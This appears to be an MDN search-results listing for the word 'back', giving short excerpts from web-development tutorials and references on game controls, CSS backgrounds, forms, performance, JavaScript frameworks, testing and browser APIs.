... 20 building up a basic demo with the playcanvas engine 3d, animation, beginner, canvas, games, playcanvas, tutorial, webgl, camera, engine, lighting, rendering now you can continue reading the playcanvas editor article, go
back to the building up a basic demo with playcanvas page, or go
back a level higher to the main 3d games on the web page.
... 26 audio for web games audio, games, web audio api, audio sprites, spatialization, syncing tracks audio is an important part of any game; it adds feed
back and atmosphere.
Desktop gamepad controls - Game development
reengamepadhelp.visible = true; } } else { if(this.screengamepadhelp.visible) { this.screengamepadhelp.visible = false; } } if the b button is pressed, the game is paused: if(gamepadapi.buttonpressed('b')) { this.managepause(); } pause and game over states we already learned how to control the whole lifecycle of the game: pausing the gameplay, restarting it, or getting
back to the main menu.
... it works smooth on mobile and desktop, and adding gamepad controls is just as straightforward — in the update() function, we check to see if the current state status is paused — if so, the relevant actions are enabled: if(gamepadapi.buttons.pressed('start')) { this.managepause(); } if(gamepadapi.buttons.pressed('
back')) { this.state
back(); } similarly, when the gameover state status is active, then we can allow the user to restart the game instead of continuing it: if(gamepadapi.buttons.pressed('start')) { this.staterestart(); } if(gamepadapi.buttons.pressed('
back')) { this.state
back(); } when the game over screen is visible, the start button restarts the game while the
back button helps us get
back to the main menu.
... the same goes for when the game is paused: the start button unpauses the game and the
back button goes
back, just like before.
Desktop mouse and keyboard controls - Game development
to skip the how to play screen, we can listen for any key being pressed and move on: this.input.keyboard.ondowncall
back = function() { if(this.statestatus == 'intro') { this.hideintro(); } }; this hides the intro and starts the actual game, without us having to set up another new key control just for this.
... pause and game over screens to make the game fully playable with keyboard it should be possible to go
back to the main menu, continue playing, or restart the game from the pause and game over screens.
...for example, by specifying phaser.keycode.
backspace or phaser.keycode.delete you can hook up an action to fire when the delete/
backspace button is pressed.
Implementing controls using the Gamepad API - Game development
erything related to the api: var gamepadapi = { controller: {}, turbo: false, connect: function() {}, disconnect: function() {}, update: function() {}, buttonpressed: function() {}, buttons: [], buttonscache: [], buttonsstatus: [], axesstatus: [] }; the buttons array contains the xbox 360 button layout: buttons: [ 'dpad-up','dpad-down','dpad-left','dpad-right', 'start','
back','axis-left','axis-right', 'lb','rb','power','a','b','x','y', ], this can be different for other types of gamepads like the ps3 controller (or a no-name, generic one), so you have to be careful and not just assume the button you're expecting will be the same button you'll actually get.
...for example, the fridge tank will turn right only when the x value is bigger than 0.5: if(gamepadapi.axesstatus[0].x > 0.5) { this.player.angle += 3; this.turret.angle += 3; } even if we move it a little by mistake or the stick doesn't make it
back to its original position, the tank won't turn unexpectedly.
...the discussion is still ongoing as to whether they should be put
back, and in what form.
Scaling - Game development
adding a custom canvas
background colour we can also add a custom
background color to our canvas, so it won't stay black.
... the stage object has a
backgroundcolor property for this purpose, which we can set using css color definition syntax.
... add the following line below the other three you added earlier: game.stage.
backgroundcolor = '#eee'; compare your code you can check the finished code for this lesson in the live demo below, and play with it to understand better how it works: next steps now we've set up the scaling for our game, let's continue to the third lesson and work out how to load the assets and print them on screen.
CSS - MDN Web Docs Glossary: Definitions of Web-related terms
here is an example that makes every html paragraph yellow against a black
background: /* the selector "p" indicates that all paragraphs in the document will be affected by that rule */ p { /* the "color" property defines the text color, in this case yellow.
... */ color: yellow; /* the "
background-color" property defines the
background color, in this case black.
... */
background-color: black } "cascading" refers to the rules that govern how selectors are prioritized to change a page's appearance.
Grid Lines - MDN Web Docs Glossary: Definitions of Web-related terms
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 100px); } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { display: grid; grid-template-columns: repeat(3, 1...
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 100px); } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div class="item">item</div> </div> .wrapper { display: grid; grid-template-columns: repea...
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 100px); } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div class="item">item</div> </div> .wrapper { display: grid; grid-template-columns: [col1...
XInclude - MDN Web Docs Glossary: Definitions of Web-related terms
code sample the following code aims to let <xi:include> and <xi:fall
back> tags (the two elements in the language) with all of the attributes of <xi:include> be included in an xml document so as to be resolvable into a single xml document.
...e('xpointer'); var encoding = xinclude.getattribute('encoding'); // e.g., utf-8 // "text/xml or application/xml or matches text/*+xml or application/*+xml" before encoding (then utf-8) var accept = xinclude.getattribute('accept'); // header "accept: "+x var acceptlanguage = xinclude.getattribute('accept-language'); // "accept-language: "+x var xifall
back = xinclude.getelementsbytagnamens('http://www.w3.org/2001/xinclude', 'fall
back')[0]; // only one such child is allowed if (href === '' || href === null) { // points to same document if empty (null is equivalent to empty string) href = null; // set for uniformity in testing below if (parse === 'xml' && xpointer === null) { alert('ther...
... xinclude with the response as text var textnode = docu.createtextnode(response); xincludeparent.replacechild(textnode, xinclude); } // replace xinclude in doc with response now (as plain text or xml) } } } catch (e) { // use xi:fall
back if xinclude retrieval above failed var xifall
backchildren = xifall
back.childnodes; // prepend any node(s) then remove xinclude for (j=0; j < xifall
backchildren.length ; j++) { xincludeparent.insertbefore(xifall
backchildren[j], xinclude); } xincludeparent.removechild(xinclude); } ...
Accessible multimedia - Learn web development
simple images we already covered simple text alternatives for html images in our html: a good basis for accessibility article — you can refer
back to there for the full details.
...for more information on how to add more complex features to video/audio players, including flash fall
backs for older browsers, see: audio and video delivery video player styling basics creating a cross-browser video player we've also created an advanced example to show how you could create an object-oriented system that finds every video and audio player on the page (no matter how many there are) and adds our custom controls to it.
... to get this displayed along with the html media play
back, you need to: save it as a .vtt file in a sensible place.
Test your skills: values and units - Learn web development
task one in this task, the first list item has been given a
background color using hex color codes.
... your task is to complete the css using the same color in different formats, plus a final list item where you should make the
background semi-opaque.
... task three in this task you need move the
background image so that it is centered horizontally, and 20% from the top of the box.
Use CSS to solve common problems - Learn web development
classes how to use pseudo-elements how to apply multiple selectors to the same rule how to specify colors in css how to debug css in the browser css and text how to style text how to customize a list of elements how to style links how to add shadows to text boxes and layouts how to size css boxes how to control overflowing content how to control the part of a css box that the
background is drawn under how do i define inline, block, and inline-block?
... how to use
background-clip to control how much of the box your
background image covers.
... how to change the box model completely using box-sizing how to control
backgrounds how to control borders how to style an html table how to add shadows to boxes uncommon and advanced techniques css allows some advanced design techniques.
Learn to style HTML using CSS - Learn web development
in that module, you will learn about: css, starting with the introduction to css module more advanced html modules javascript, and how to use it to add dynamic functionality to web pages once you understand the fundamentals of html, we recommend that you learn html and css at the same time, moving
back and forth between the two topics.
...this module looks at the cascade and inheritance, all the selector types we have available, units, sizing, styling
backgrounds and borders, debugging, and lots more.
... from the beginning, you'll primarily apply colors to html elements and their
backgrounds; change the size, shape, and position of elements; and add and define borders on elements.
How do I start to design my website? - Learn web development
therefore, before jumping into the technical side—for example, code and tools—you must first step
back and decide in detail what you want to do.
... let's look
back at our example.
... rather than go through a long explanation, let's go
back to our example with this table: goals things to do let people hear your music record music prepare some audio files usable online (could you do this with existing web services?) give people access to your music on some part of your website talk about your music write a few articles to start the discussion define how ar...
The HTML5 input types - Learn web development
one problem with sliders is that they don't offer any kind of visual feed
back as to what the current value is.
...here's a live example that falls
back to <select> elements in non-supporting browsers: let's look at the different available types in brief.
... the reference pages linked to above provide suggestions on how to program fall
backs for non-supporting browsers; another option is to consider using a javascript library to provide a date picker.
HTML forms in legacy browsers - Learn web development
and html5 <input> types don't fail when not supported: they fall
back to type=text.
...if a browser does not know the value of the type attribute of an <input> element, it will fall
back as if the value were text.
...for example, [value] {
background-color: #ccc; } may have been used to target every <input> with a value attribute, but changing the
background-color or border radius on a <meter> will lead to likely unexpected results that differ across browsers.
Example 3 - Learn web development
------ */ .select { font-size : 0.625em; /* 10px */ font-family : verdana, arial, sans-serif; -moz-box-sizing : border-box; box-sizing : border-box; padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ width : 10em; /* 100px */ border : 0.2em solid #000; /* 2px */ border-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
background : #f0f0f0;
background : -webkit-linear-gradient(90deg, #e3e3e3, #fcfcfc 50%, #f0f0f0);
background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after { content : "▼"; position: absolute; z-index ...
...: 1; height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0;
background-color : #000; color : #fff; } .select .optlist { z-index : 2; list-style: none; margin : 0; padding: 0;
background: #f0f0f0; border: .2em solid #000; border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight {
background: #000; color: #ffffff; } jav...
...ascript content // ------- // // helpers // // ------- // nodelist.prototype.foreach = function (call
back) { array.prototype.foreach.call(this, call
back); } // -------------------- // // function definitions // // -------------------- // function deactivateselect(select) { if (!select.classlist.contains('active')) return; var optlist = select.queryselector('.optlist'); optlist.classlist.add('hidden'); select.classlist.remove('active'); } function activeselect(select, selectlist) { if (select.classlist.contains('active')) return; selectlist.foreach(deactivateselect); select.classlist.add('active'); }; function toggleoptlist(select, show) { var optlist = select.queryselector('.optlist'); optlist.classlist.toggle('hidden'); } function highlightoption(select, option)...
Example 4 - Learn web development
------ */ .select { font-size : 0.625em; /* 10px */ font-family : verdana, arial, sans-serif; -moz-box-sizing : border-box; box-sizing : border-box; padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ width : 10em; /* 100px */ border : 0.2em solid #000; /* 2px */ border-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
background : #f0f0f0;
background : -webkit-linear-gradient(90deg, #e3e3e3, #fcfcfc 50%, #f0f0f0);
background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after { content : "▼"; position: absolute; z-index ...
...: 1; height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0;
background-color : #000; color : #fff; } .select .optlist { z-index : 2; list-style: none; margin : 0; padding: 0;
background: #f0f0f0; border: .2em solid #000; border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight {
background: #000; color: #ffffff; } jav...
...ascript content // ------- // // helpers // // ------- // nodelist.prototype.foreach = function (call
back) { array.prototype.foreach.call(this, call
back); } // -------------------- // // function definitions // // -------------------- // function deactivateselect(select) { if (!select.classlist.contains('active')) return; var optlist = select.queryselector('.optlist'); optlist.classlist.add('hidden'); select.classlist.remove('active'); } function activeselect(select, selectlist) { if (select.classlist.contains('active')) return; selectlist.foreach(deactivateselect); select.classlist.add('active'); }; function toggleoptlist(select, show) { var optlist = select.queryselector('.optlist'); optlist.classlist.toggle('hidden'); } function highlightoption(select, option)...
Example 5 - Learn web development
------ */ .select { font-size : 0.625em; /* 10px */ font-family : verdana, arial, sans-serif; -moz-box-sizing : border-box; box-sizing : border-box; padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ width : 10em; /* 100px */ border : 0.2em solid #000; /* 2px */ border-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
background : #f0f0f0;
background : -webkit-linear-gradient(90deg, #e3e3e3, #fcfcfc 50%, #f0f0f0);
background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after { content : "▼"; position: absolute; z-index ...
...: 1; height : 100%; width : 2em; /* 20px */ top : 0; right : 0; padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0;
background-color : #000; color : #fff; } .select .optlist { z-index : 2; list-style: none; margin : 0; padding: 0;
background: #f0f0f0; border: .2em solid #000; border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); -moz-box-sizing : border-box; box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight {
background: #000; color: #ffffff; } jav...
...ascript content // ------- // // helpers // // ------- // nodelist.prototype.foreach = function (call
back) { array.prototype.foreach.call(this, call
back); } // -------------------- // // function definitions // // -------------------- // function deactivateselect(select) { if (!select.classlist.contains('active')) return; var optlist = select.queryselector('.optlist'); optlist.classlist.add('hidden'); select.classlist.remove('active'); } function activeselect(select, selectlist) { if (select.classlist.contains('active')) return; selectlist.foreach(deactivateselect); select.classlist.add('active'); }; function toggleoptlist(select, show) { var optlist = select.queryselector('.optlist'); optlist.classlist.toggle('hidden'); } function highlightoption(select, option)...
Sending form data - Learn web development
the http protocol provides several ways to perform a request; html form data can be transmitted via a number of different methods, the most common being the get method and the post method to understand the difference between those two methods, let's step
back and examine how http works.
... the get method the get method is the method used by the browser to ask the server to send
back a given resource: "hey server, i want to get this resource." in this case, the browser sends an empty body.
...it's the method the browser uses to talk to the server when asking for a response that takes into account the data provided in the body of the http request: "hey server, take a look at this data and send me
back an appropriate result." if a form is sent using this method, the data is appended to the body of the http request.
Tips for authoring fast-loading HTML pages - Learn web development
if you use
background images a lot in your css, you can reduce the number of http lookups needed by combining the images into one, known as an image sprite.
... then you just apply the same image each time you need it for a
background and adjust the x/y coordinates appropriately.
... this technique works best with elements that will have limited dimensions, and will not work for every use of a
background image.
Document and website structure - Learn web development
for example: <p>the king walked drunkenly
back to his room at 01:00, the beer doing nothing to aid him as he staggered through the door <span class="editor-note">[editor's note: at this point in the play, the lights should be down low]</span>.</p> in this case, the editor's note is supposed to merely provide extra direction for the director of the play; it is not supposed to have extra semantic meaning.
...as an example: <p>ron was
backed into a corner by the marauding netherbeasts.
...he read it hazily and sighed; "better get
back to work then", he mused.</p> would render like this: planning a simple website once you've planned out the structure of a simple webpage, the next logical step is to try to work out what content you want to put on a whole website, what pages you need, and how they should be arranged and link to one another for the best possible user experience.
Responsive images - Learn web development
this kind of problem didn't exist when the web first existed, in the early to mid 90s —
back then the only devices in existence to browse the web were desktops and laptops, so browser engineers and spec writers didn't even think to implement solutions.
...you should note that we will be focusing on the html <img>s for this section, as seen in the content area of the example above — the image in the site header is only for decoration, and therefore implemented using css
background images.
...this provides a default case that will apply when none of the media conditions return true (you could actually remove the second <source> element in this example), and a fall
back for browsers that don't support the <picture> element.
Multimedia and Embedding - Learn web development
if you've not worked through this module (or something similar), work through it first, then come
back!
...in this article we'll look at how to use it in more depth, including basics, annotating it with captions using <figure>, and how it relates to css
background images.
... video and audio content next, we'll look at how to use the html5 <video> and <audio> elements to embed video and audio on our pages, including basics, providing access to different file formats to different browsers, adding captions and subtitles, and how to add fall
backs for older browsers.
HTML table advanced features and accessibility - Learn web development
my spending record</title> <style> html { font-family: sans-serif; } table { border-collapse: collapse; border: 4px solid rgb(200,200,200); letter-spacing: 1px; font-size: 0.8rem; } td, th { border: 2px solid rgb(190,190,190); padding: 10px 20px; } th {
background-color: rgb(235,235,235); } td { text-align: center; } tr:nth-child(even) td {
background-color: rgb(250,250,250); } tr:nth-child(odd) td {
background-color: rgb(245,245,245); } caption { padding: 10px; } tbody { font-size: 90%; font-style: italic; ...
...looking
back to our spending record example from earlier on, you could unambiguously define the column headers as column headers like this: <thead> <tr> <th scope="col">purchase</th> <th scope="col">location</th> <th scope="col">date</th> <th scope="col">evaluation</th> <th scope="col">cost (€)</th> </tr> </thead> and each row could have a header defined like this (if we added row ...
...if you look
back at the "items sold august 2016" table at the start of this section of the article, you'll see that the "clothes" cell sits above the "trousers", "skirts", and "dresses" cells.
Client-side storage - Learn web development
this is useful when you just need to store some simple data, like the user's name, whether they are logged in, what color to use for the
background of the screen, etc.
...torage localstorage.setitem('name', nameinput.value); // run namedisplaycheck() to sort out displaying the // personalized greetings and updating the form display namedisplaycheck(); }); at this point we also need an event handler to run a function when the "forget" button is clicked — this is only displayed after the "say hello" button has been clicked (the two form states toggle
back and forth).
...this is used a lot below db = request.result; // run the displaydata() function to display the notes already in the idb displaydata(); }; the request.onerror handler will run if the system comes
back saying that the request failed.
Introduction to web APIs - Learn web development
in the
background, the browser is actually using some complex lower-level code (e.g.
... note: if you are not already familiar with how objects work, you should go
back and work through our javascript objects module before continuing.
...element will be played from: const audioelement = document.queryselector('audio'); const playbtn = document.queryselector('button'); const volumeslider = document.queryselector('.volume'); const audiosource = audioctx.createmediaelementsource(audioelement); next up we include a couple of event handlers that serve to toggle between play and pause when the button is pressed and reset the display
back to the beginning when the song has finished playing: // play/pause audio playbtn.addeventlistener('click', function() { // check if context is in suspended state (autoplay policy) if (audioctx.state === 'suspended') { audioctx.resume(); } // if track is stopped, play it if (this.getattribute('class') === 'paused') { audioelement.play(); this.setattribut...
Basic math in JavaScript — numbers and operators - Learn web development
first of all, let's declare a couple of variables and initialize them with an integer and a float, respectively, then type the variable names
back in to check that everything is in order: let myint = 5; let myfloat = 6.667; myint; myfloat; number values are typed in without quote marks — try declaring and initializing a couple more variables containing numbers before you move on.
...we used ++ in our "guess the number" game
back in our first splash into javascript article, when we added 1 to our guesscount variable to keep track of how many guesses the user has left after each turn.
...if the button is currently saying "stop machine" when it is pressed, we swap the display
back again.
Inheritance in JavaScript - Learn web development
you can do so by going
back to your source code and adding the following line at the bottom: object.defineproperty(teacher.prototype, 'constructor', { value: teacher, enumerable: false, // so that it does not appear in 'for in' loop writable: true }); now if you save and refresh, entering teacher.prototype.constructor should return teacher(), as desired, plus we are now inheriting from person()!
...all the other code constructs we discussed in this set of articles are supported as far
back as ie9 or earlier, and there are ways to achieve earlier support than that.
... looking
back to our person constructor, we can see it has the following block of code in its constructor method: constructor(first, last, age, gender, interests) { this.name = { first, last }; this.age = age; this.gender = gender; this.interests = interests; } since the super() operator is actually the parent class constructor, passing it the necessary arguments of the parent clas...
Object prototypes - Learn web development
understanding prototype objects here we'll go
back to the example in which we finished writing our person() constructor — load the example in your browser.
... you can check out existing prototype properties for yourself — go
back to our previous example and try entering the following into the javascript console: person.prototype the output won't show you very much because we haven't defined anything on our custom constructor's prototype!
... go
back to our oojs-class-further-exercises.html example and make a local copy of the source code.
Multimedia: Images - Learn web development
should such an image only exist as a bitmap, then png would be the fall
back format to chose.
... the first thing to check is that your content images use <img> elements and your
background images are defined in css with
background-image — images referenced in <img> elements are assigned a higher loading priority than
background images.
... for any
background images, it's important you set a
background-color value so any content overlaid is still readable before the image has downloaded.
Perceived performance - Learn web development
first paint is reported by the browser and provides the time, in ms, of when the page starts changing; but this change can be a simple
background color update or something even less noticable.
...first contentful paint (fcp) reports the time when the browser first rendered anything of signifigance, be that text, foreground or
background image, or a canvas or svg; capturing the very beginning of the loading experience.
... make fall
back fonts the same size and weight so that when fonts load the page change is less noticeable.
Web performance resources - Learn web development
if you do, have a
backup plan for seo (e.g render full page for bot traffic); for example, by using the loading attribute on the <img> element it is also crucial to realize what is really important to your users.
...the following snippet includes an onload attribute, requiring javascript, so it is important to include a noscript tag with a traditional fall
back.
...by using font display swap the browser will not block rendering and will use the
backup system fonts that are defined.
What is web performance? - Learn web development
does the site load quickly, allow the user to start interacting with it quickly, and offer reassuring feed
back if something is taking time to load (e.g.
...any other assets can continue to load in the
background while the user gets on with primary tasks, and sometimes we only load assets when they are actually needed (this is called lazy loading).
...there is overhead involved in establishing tcp and http connections, and some unavoidable latency in pushing the request and response bytes
back and forth across the network, but there are certain ways to reduce latency (e.g.
Ember Interactivity: Footer functionality, conditional rendering - Learn web development
owing terminal command to do so: ember generate component-class footer next, go and find the newly-created todomvc/app/components/footer.js file and update it to the following: import component from '@glimmer/component'; import { inject as service } from '@ember/service'; export default class footercomponent extends component { @service('todo-data') todos; } now we need to go
back to our todo-data.js file and add some functionality that will allow us to return the number of incomplete todos (useful for showing how many are left), and clear the completed todos out of the list (which is what the “clear completed” functionality needs).
... get todocountisone() { return this.incomplete.length === 1; } then go
back over to footer.hbs and update the previous template section we edited to the following: <strong>{{this.todos.incomplete.length}}</strong> {{#if this.todos.todocountisone}} todo {{else}} todos {{/if}} left now save and test, and you'll see the correct pluralization used when you only have one todo item present!
...ember generate component-class todo now go to the newly-created todomvc/app/components/todo.js file and update the contents to look like so, to give the todo component access to the service: import component from '@glimmer/component'; import { inject as service } from '@ember/service'; export default class todocomponent extends component { @service('todo-data') todos; } next, go
back again to our todo-data.js service file and add the following action just below the previous ones, which will allow us to toggle a completion state for each todo: @action togglecompletion(todo) { todo.iscompleted = !todo.iscompleted; } updating the template to show completed state finally, we will edit the todo.hbs template such that the checkbox's value is now bound to the iscompleted...
Getting started with Ember - Learn web development
ember also has immense
backwards and forwards compatibility to help businesses stay up to date with the latest versions of ember and latest community-driven conventions.
... increasing cohesion among many team's technology stacks community-
backed "best practices" allow for faster long-term development speed.
...as conventions are defined and shared, the opinions that
back those conventions help reduce the menial differences between apps — a common goal among all opinionated frameworks, across any language and ecosystem.
Ember interactivity: Events, classes and state - Learn web development
coming
back to our browser tab with the app running, we can type whatever we want, and when we hit enter we'll be greeted with an alert message telling us exactly what we typed.
... in order to retrieve the todos from the service, our todolist component first needs a
backing component class to contain this functionality.
... to do this, go
back to your todo-data.js file and add the following below the @tracked todos = []; line: get all() { return this.todos; } now we can access the data using this.todos.all, which is much more intuitive.
Getting started with React - Learn web development
we'll discover a little bit of detail about its
background and use cases, set up a basic react toolchain on our local computer, and create and play with a simple starter app — learning a bit about how react works in the process.
... variables in jsx
back in app.js, let’s focus on line 9: <img src={logo} classname="app-logo" alt="logo" /> here, the <img /> tag's src attribute value is in curly braces.
...when you are done, your code should look something like this: reactdom.render(<app subject="clarice" />, document.getelementbyid('root'));
back in app.js, let's revisit the app function itself, which reads like this (with the return statement shortened for brevity): function app() { const subject = "react"; return ( // return statement ); } change the signature of the app function so that it accepts props as a parameter, and delete the subject const.
Dynamic behavior in Svelte: working with variables and props - Learn web development
{/each} </ul> go
back to the app; you'll see something like this: now we've seen that this is working, let's generate a complete todo item with each loop of the {#each} directive, and inside embed the information from the todos array: id, name, and completed.
...once you get used to it, there's no going
back.
... now try going
back to localhost:5000, pressing ctrl + shift + k to open your browser console and typing something into the input field.
Creating our first Vue component - Learn web development
go
back to your todoitem.vue file.
... your component’s template section should now look like this: <template> <div> <input type="checkbox" id="todo-item" checked="false" /> <label for="todo-item">{{label}}</label> </div> </template> go
back to your browser and you'll see the todo item rendered as before, but without a label (oh no!).
... <template> <div id="app"> <h1>my to-do list</h1> <ul> <li> <to-do-item label="my todo item" :done="true"></to-do-item> </li> </ul> </div> </template> try changing true to false and
back again, reloading your app in between to see how the state changes.
Understanding client-side JavaScript frameworks - Learn web development
instead, we want to
back up and first answer more fundamental questions such as: why should i use a framework?
...we'll discover a little bit of detail about its
background and use cases, set up a basic react toolchain on our local computer, and create and play with a simple starter app, learning a bit about how react works in the process.
...in this article, we'll look at a little bit of vue
background, learn how to install it and create a new project, study the high-level structure of the whole project and an individual component, see how to run the project locally, and get it prepared to start building our example.
Introduction to automated testing - Learn web development
each gulp task is written in the same basic format — gulp's task() method is run, and given two parameters — the name of the task, and a call
back function containing the actual code to run to complete the task.
...for example, you might want to run one of your own selenium tests remotely using sauce labs to test a certain browser/os combination, and then pass the test results
back to sauce labs.
... other basic features if you go
back to the main browserstack page, you'll find a couple of other useful basic features under the more menu option: responsive: enter a url and press generate, and browserstack will load that url on multiple devices with different viewport sizes.
Implementing feature detection - Learn web development
note: often such an approach is overkill for a minor feature detection problem — you can often get away with using multiple vendor prefixes and fall
back properties, as described in css fall
back behavior and handling css prefixes.
...the problem here is browser support — @supports is not supported at all in ie, and only supported in very recent versions of safari/ios webkit (9+/9.2+), whereas the javascript version should work in much older browsers (probably
back to ie8 or 9, although older versions of ie will have additional problems, such as not supporting document.queryselector, and having a messed up box model).
...go into modernizr-css.css, and replace the two @supports blocks with the following: /* properties for browsers with modern flexbox */ .flexbox main { display: flex; } .flexbox main div { padding-right: 4%; flex: 1; } .flexbox main div:last-child { padding-right: 0; } /* fall
backs for browsers that don't support modern flexbox */ .no-flexbox main div { width: 22%; float: left; padding-right: 4%; } .no-flexbox main div:last-child { padding-right: 0; } .no-flexbox footer { clear: left; } so how does this work?
Introduction to cross browser testing - Learn web development
this situation is a lot less bad than it used to be;
back when ie4 and netscape 4 were competing to be the dominant browser in the 1990s, browser companies deliberately implemented things differently to each other to try to gain competitive advantage, which made life hell for developers.
... now you know your target testing platforms, you should go
back and review the required featureset and what technologies you are going to use.
...this may involve writing different code paths that reproduce functionality in different ways aimed at different browsers, or using a polyfill to mimic any missing support using javascript or other technologies, or using a library that allows you to write a single bit of code and then does different things in the
background depending on what the browser supports.
Strategies for carrying out testing - Learn web development
by coding defensively, we mean trying to build in intelligent fall
backs so that if a feature or style doesn't work in a browser, the site will be able to downgrade to something less exciting that still provides an acceptable user experience — the core information is still accessible, for example, even if it doesn't look quite as nice.
...serve the full site, which should work, at least with the fall
backs provided by our defensive coding.
... studying analytics data now you should be able to go
back to the analytics web homepage, and start looking at the data you've collected about your site (you need to leave a little bit of time for some data to actually be collected, of course.) by default, you should see the reporting tab, like so: there is a huge amount of data you could look at using google analytics — customized reports in different categories, etc.
Multiprocess on Windows
the windows message queue carries a lot of baggage for the purposes of maintaining
backward compatibility.
...when an incoming rpc invokes a method on an interceptor, the interceptor dispatches a call
back that allows us to do whatever we want with that request.
... our call
back implementation forwards the method call to the main thread in order to invoke the method on the wrapped object.
Mozilla’s UAAG evaluation report
checkpoint title status notes/plans 3.1 toggle
background images.
... (p1) c preferences, appearance, colors - "use my chosen colors, ignoring the colors and
background image specified" 3.2 toggle audio, video, animated images.
...entions for windows does not highlight selected images we do not have the ability to show a border around the text selection we have the following focus appearance prefs that are not exposed in the ui, but can be manually inserted in the user's prefs.js file: setboolpref("browser.display.use_focus_colors", usefocuscolors); /* true or false */ setcharpref("browser.display.focus_
background_color", colorstring); /* for example #ffeedd or the name of a color */ setcharpref("browser.display.focus_text_color", colorstring); setcharpref("browser.display.focus_ring_width", numpixels); /* integer 0-4 */ 10.3 distinct default highlight styles.
Frequently Asked Questions for Lightweight themes
lightweight themes change the header area of your browser, including the tab text color and the
background tab colors.
... how do i provide feed
back?
...visit the themes forum to send us your feed
back.
HTTP logging
pat yourself on the
back--a job well done!
... type cmd and press enter, a new command prompt window with a black
background will appear.
... this is accomplished by splitting the log into up to 4 separate files (their filenames have a numbered extension, .0, .1, .2, .3) the logging
back end cycles the files it writes to, while ensuring that the sum of these files’ sizes will never go over the specified limit.
Tracking Protection
for example, if your site includes a call
back that runs when content from a tracking site is loaded, then the call
back will not execute.
... for example, you should not use google analytics in the following way: <a href="http://www.example.com" onclick="tracklink('http://www.example.com', event);"> visit example.com </a> <script> function tracklink(url,event) { event.preventdefault(); ga('send', 'event', 'outbound', 'click', url, { 'transport': 'beacon', 'hitcall
back': function() { document.location = url; } }); } </script> instead, you should account for the case when google analytics is missing by checking to see if the ga object has initialized: <a href="http://www.example.com" onclick="tracklink('http://www.example.com', event);"> visit example.com </a> <script> function tracklink(url,event) { event.preventdefault(); if (window.ga && ga.loaded) { ga('send', 'event', '...
...outbound', 'click', url, { 'transport': 'beacon', 'hitcall
back': function() { document.location = url; } }); } else { document.location = url; } } </script> more information about this technique is available at google analytics, privacy, and event tracking.
HTMLIFrameElement.getMuted()
syntax there are two versions of this method, a call
back version: var request = instanceofhtmliframeelement.getmuted(); and a promise version: instanceofhtmliframeelement.getmuted().then(function(muted) { ...
... }); returns call
back version: a domrequest that represents the get muted request.
... example call
back version: var browser = document.queryselector('iframe'); var request = browser.getmuted(); request.onsuccess = function() { if(request.result) { console.log('the browser is muted.'); } else { console.log('the browser is unmuted.'); } } promise version: var browser = document.queryselector('iframe'); browser.getmuted().then(function(muted) { if(muted) { console.log('the b...
HTMLIFrameElement.getVolume()
syntax there are two versions of this method, a call
back version: var request = instanceofhtmliframeelement.getvolume(); and a promise version: instanceofhtmliframeelement.getvolume().then(function(volume) { ...
... }); returns call
back version: a domrequest that represents the get volume request.
... example call
